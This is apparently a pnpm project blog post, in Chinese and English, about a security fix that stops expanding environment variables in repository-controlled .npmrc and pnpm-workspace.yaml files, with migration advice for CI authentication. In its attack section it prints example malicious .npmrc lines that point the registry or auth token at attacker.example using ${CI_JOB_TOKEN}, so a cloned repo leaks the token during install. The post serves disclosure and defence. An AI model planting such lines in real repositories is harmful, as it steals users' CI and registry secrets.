为什么 pnpm 不再在仓库的 .npmrc 中展开环境变量
pnpm 以前会在它找到的所有地方展开 ${ENV_VAR} 占位符 —— 包括你刚克隆的仓库中的 .npmrc 和 pnpm-workspace.yaml 文件。这最终成为恶意仓库窃取你环境中的秘密的一种方式。从 v10.34.2 和 v11.5.3 开始,pnpm 不再在仓库控制的注册表和凭据设置中展开环境变量。
🌐 pnpm used to expand ${ENV_VAR} placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment. As of v10.34.2 and v11.5.3, pnpm stops expanding environment variables in repository-controlled registry and credential settings.
这是一个安全修复(GHSA-3qhv-2rgh-x77r),并且对于某些设置来说这是一个破坏性更改。本文解释了该攻击、具体更改内容以及如何迁移。
🌐 This was a security fix (GHSA-3qhv-2rgh-x77r), and it is a breaking change for some setups. This post explains the attack, what exactly changed, and how to migrate.
攻击
🌐 The attack
一旦你克隆仓库,提交到仓库的 .npmrc 就会受到攻击者控制。在此变更之前,pnpm 在解析依赖时会展开该文件中的环境变量——在任何生命周期脚本运行之前,因此即使是 pnpm 的脚本阻止保护也无济于事。
🌐 A .npmrc committed to a repository is attacker-controlled the moment you clone the repo. Before this change, pnpm would expand environment variables in that file when resolving dependencies — before any lifecycle script ran, so even pnpm's script-blocking protections didn't help.
考虑一个提供此 .npmrc 的仓库:
🌐 Consider a repository that ships this .npmrc:
registry=https://attacker.example/${CI_JOB_TOKEN}/
或者这个:
🌐 or this one:
registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}
当你在环境中存在 CI_JOB_TOKEN(或任何其他可猜测的秘密)时运行 pnpm install,pnpm 会展开占位符并将秘密直接发送给攻击者 —— 要么在请求 URL(https://attacker.example/<secret>/...)中,要么在 Authorization: Bearer <secret> 头中。相同的技巧通过 pnpm-workspace.yaml 中的 registry URL 也能奏效。
没有安装脚本,没有 postinstall — 仅仅解析依赖就足以窃取一个令牌。
🌐 No install scripts, no postinstall — just resolving dependencies was enough to exfiltrate a token.
发生了什么变化
🌐 What changed
pnpm 现在将环境变量扩展视为 信任感知。当值来自受仓库控制的文件时,不再展开环境变量:
🌐 pnpm now treats environment expansion as trust-aware. Environment variables are no longer expanded when the value comes from a repository-controlled file:
-
In the project and workspace
.npmrc:registry,@scope:registry, proxy URLs, URL-scoped keys (//host/…), and credential values (_authToken,_auth,_password,username,tokenHelper,cert,key). -
In
pnpm-workspace.yaml: registry URLs (registry, and the values ofregistries/namedRegistries).
包含 ${...} 占位符且位于这些位置之一的设置将被忽略,pnpm 会打印警告说明如何迁移它。
🌐 A setting that contains a ${...} placeholder in one of these positions is ignored, and pnpm prints a warning explaining how to migrate it.
环境变量仍然会在非来自仓库的配置中被展开:
🌐 Environment variables are still expanded in config that doesn't come from the repository:
-
your user-level
~/.npmrc(and the file pointed to bynpmrcAuthFile); -
the global configuration;
-
command-line options;
-
environment config.
这个边界就是关键所在:令牌属于你控制的位置,而不是随你即将安装的代码一起提供的位置。我们还强化了一个相关的边缘情况,其中仓库 .npmrc 可以重定向 pnpm 认为可信用户/全局配置的文件(通过 userconfig、globalconfig 或 prefix);这些目标现在只从可信来源解析。
🌐 That boundary is the whole point: a token belongs in a location you control, not one that ships with the code you're about to install. We also hardened a related edge case where a repository .npmrc could redirect which file pnpm treats as trusted user/global config (via userconfig, globalconfig, or prefix); those destinations are now resolved only from trusted sources.
如何迁移
🌐 How to migrate
如果在升级后身份验证出现故障,请将令牌从已提交的 .npmrc 移出并放入受信任的位置。
🌐 If your authentication broke after upgrading, move the token out of the committed .npmrc and into a trusted location.
将其写入你的用户/全局配置(这是 pnpm 自己的 CI 所做的)
pnpm config set "//registry.npmjs.org/:_authToken" "$NPM_TOKEN"
pnpm config set 默认会写入你的用户/全局配置,而不会写入项目 .npmrc,因此令牌不会进入仓库。
或者完全通过环境变量提供凭证 — 根本不需要 .npmrc 文件(自 v11.6 起)。pnpm 从 pnpm_config_//…(和 npm_config_//…)环境变量读取 URL 范围的注册表设置:
env "pnpm_config_//registry.npmjs.org/:_authToken=$NPM_TOKEN" pnpm install
变量名包含 /、: 和 .,因此 export 和 NAME=value shell 的赋值语法将其视为无效标识符。使用 env 工具(如上所示)将其传递给单个命令,或通过接受任意变量名的工具设置它(例如你的 CI 提供商的环境设置)。
🌐 The variable name contains /, :, and ., so export and the NAME=value shell assignment syntax reject it as an invalid identifier. Use the env utility (as shown above) to pass it to a single command, or set it through a tool that accepts arbitrary variable names (such as your CI provider's environment settings).
这是对已提交 //registry.npmjs.org/:_authToken=${NPM_TOKEN} 行最直接、无需文件的替代方案。由于凭据应用的注册表已经被编码在(受信任的)变量名中,恶意仓库无法将其重定向到其他主机。该值会覆盖项目 .npmrc,但本身会被命令行选项覆盖,并且当通过两种前缀设置同一密钥时,pnpm_config_ 会生效。(tokenHelper 故意从不从环境变量中读取。)
🌐 This is the most direct, file-free replacement for a committed //registry.npmjs.org/:_authToken=${NPM_TOKEN} line. Because the registry the credential applies to is encoded in the (trusted) variable name, a malicious repository can't redirect it to another host. The value overrides the project .npmrc but is itself overridden by a command-line option, and when the same key is set through both prefixes, pnpm_config_ wins. (tokenHelper is intentionally never read from environment variables.)
或者将 ${NPM_TOKEN} 行保留在你的用户级别 ~/.npmrc 中,而不是在仓库中——环境变量在那里仍然会被展开。
在 GitHub Actions 中,带有 registry-url 输入的 actions/setup-node 已经写入了用户级别的 .npmrc,因此通过 NODE_AUTH_TOKEN 进行身份验证仍然可以继续工作,无需进一步更改:
- uses: actions/setup-node@v4
with:
node-version: 24
registry-url: https://registry.npmjs.org
- run: pnpm install
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
在其他 CI 系统上,当编辑每个流水线不切实际时,你可以通过在 CI 环境中设置一个环境变量来声明仓库自身的 .npmrc 为受信任:
# v11:
PNPM_CONFIG_NPMRC_AUTH_FILE=.npmrc
# v10 (or as a fallback):
NPM_CONFIG_USERCONFIG=.npmrc
因为那个信任声明来自环境——而不是来自仓库——恶意的仓库无法为你设置它。仅在构建受信任仓库的环境中使用它:它会完全禁用该检出内容的保护。
🌐 Because that trust declaration comes from the environment — not from the repository — a malicious repo can't set it for you. Only use it in environments that build trusted repositories: it disables the protection for that checkout entirely.
动态注册表 URL
🌐 Dynamic registry URLs
同样的规则也适用于注册表和代理 URL。如果你使用环境变量来模板化注册表 URL,请将其移到可信来源(pnpm config set、你的用户 ~/.npmrc、CLI 选项或环境配置)。如果 URL 不是机密的,你可以直接在项目 .npmrc 中写入解析后的值 —— 只有 ${...} 占位符会被忽略,字面 URL 是可以的。
🌐 The same rule applies to registry and proxy URLs. If you used an environment variable to template a registry URL, move it to a trusted source (pnpm config set, your user ~/.npmrc, a CLI option, or environment config). If the URL isn't secret, you can simply write the resolved value directly in the project .npmrc — only ${...} placeholders are ignored, literal URLs are fine.
每个范围的不同令牌
🌐 Different tokens per scope
人们常用 ${...} 占位符的一个常见原因是为同一个注册表主机管理多个令牌。从 v11.7 开始,pnpm 可以为每个包 作用域 选择不同的认证令牌,即使这些作用域共享相同的注册表 URL —— 因此你不再需要用变量来模板化一个单一的密钥。在认证密钥中将作用域放在注册表 URL 之后(在受信任的位置,例如你的用户 ~/.npmrc):
🌐 A common reason people reached for ${...} placeholders was juggling several tokens for one registry host. As of v11.7, pnpm can select a different auth token per package scope, even when the scopes share the same registry URL — so you no longer need to template a single key with a variable. Put the scope after the registry URL in the auth key (in a trusted location, e.g. your user ~/.npmrc):
@org-a:registry=https://npm.pkg.github.com/
@org-b:registry=https://npm.pkg.github.com/
//npm.pkg.github.com/:@org-a:_authToken=${ORG_A_TOKEN}
//npm.pkg.github.com/:@org-b:_authToken=${ORG_B_TOKEN}
安装或发布 @org-a/* 使用 ORG_A_TOKEN;@org-b/* 使用 ORG_B_TOKEN。请参阅 特定范围的授权令牌。
🌐 Installing or publishing @org-a/* uses ORG_A_TOKEN; @org-b/* uses ORG_B_TOKEN. See scope-specific auth tokens.
抱歉弄坏了
🌐 Sorry about the breakage
在补丁版本中引入破坏性变更不是我们轻率会做的事,我们也知道这扰乱了一些 CI 流水线。但这是一个被报告的漏洞,并且已有可用的利用方法,如果不修复——或者等到下一个大版本——就意味着我们是在有意地让任何代码库都能读取你的密钥。将修复回移到 v10 作为补丁,是现有用户实际上能够收到修复的唯一途径。
🌐 Shipping a breaking change in a patch release is not something we do lightly, and we know it disrupted some CI pipelines. But this was a reported vulnerability with a working exploit, and leaving it open — or waiting for the next major — would have meant knowingly shipping a way for any repository to read your secrets. Backporting the fix to v10 as a patch was the only way existing users would actually receive it.
有关完整的迁移指南,请参阅 身份验证设置文档。
🌐 For the full migration guide, see the authentication settings documentation.
